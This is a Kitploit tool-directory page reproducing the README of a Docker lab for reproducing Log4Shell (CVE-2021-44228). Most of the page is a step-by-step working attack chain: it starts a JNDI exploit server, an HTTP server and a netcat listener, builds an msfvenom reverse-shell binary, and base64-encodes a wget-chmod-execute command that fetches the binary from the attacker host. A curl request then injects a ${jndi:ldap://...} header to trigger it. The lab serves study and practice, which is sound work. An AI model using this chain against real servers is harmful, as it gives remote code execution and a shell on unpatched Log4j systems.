Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Log4Shell-CVE-2021-44228-ENV — Log4Shell Docker Env | Kitploit
Tools/GitHubGitHub/ycdxsb/log4shell-cve-2021-44228-env
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubycdxsb/log4shell-cve-2021-44228-env

Log4Shell-CVE-2021-44228-ENV

Log4Shell Docker Env

View Repository
4144 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Log4Shell Reproduction Environment

Example Description

Victim machine IP: 47.47.47.47

Attacker machine IP: 48.48.48.48

Running the Vulnerable Docker on the Victim Machine

  • Use the DockerFile to build the docker image and run:
root@kitploit:~
docker build . -t vuln
docker run -p 8080:8080 --name vuln vuln

Running the Attack Docker on the Attacker Machine

  • Use the DockerFile to build the docker image and run:
root@kitploit:~
docker build . -t attack
docker run -itd -p 9999:9999 -p 8888:8888 -p 1389:1389 -p 9000:9000 --name attack attack

Attacker Environment Preparation

Execute commands in three different shells; ensure shells remain active

  • Start the JNDI server on the attacker machine
root@kitploit:~
docker exec -it attack /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 48.48.48.48 -p 8888
  • Start an HTTP server on the attacker machine
root@kitploit:~
docker exec -it attack /bin/bash
python3 -m http.server 9999
  • Listen on a port with netcat on the attacker machine
root@kitploit:~
docker exec -it attack /bin/bash
nc -lvvp 9000

Executing the Attack from the Attacker Machine

Execute commands in a single shell

root@kitploit:~
docker exec -it attack /bin/bash
  • Prepare the reverse shell file on the attacker machine
root@kitploit:~
msfvenom -p linux/x64/shell_reverse_tcp LHOST=48.48.48.48 LPORT=9000 -f elf -o /rev.elf
  • Prepare the payload on the attacker machine
root@kitploit:~
echo 'wget http://48.48.48.48:9999/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
# d2dldCBodHRwOi8vNDguNDguNDguNDg6OTk5OS9yZXYuZWxmIC1PIC90bXAvcmV2LmVsZiAmJiBjaG1vZCAreCAvdG1wL3Jldi5lbGYgJiYgL3RtcC9yZXYuZWxmCg==
  • Send the attack payload
root@kitploit:~
curl 47.47.47.47:8080 -H 'X-Api-Version: ${jndi:ldap://48.48.48.48:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNDguNDguNDguNDg6OTk5OS9yZXYuZWxmIC1PIC90bXAvcmV2LmVsZiAmJiBjaG1vZCAreCAvdG1wL3Jldi5lbGYgJiYgL3RtcC9yZXYuZWxmCg==}'

Command Generation

root@kitploit:~
python3 command_gen.py vuln_ip attack_ip

Video Demonstration

Video

References

  • https://github.com/christophetd/log4shell-vulnerable-app
  • https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
Download Tool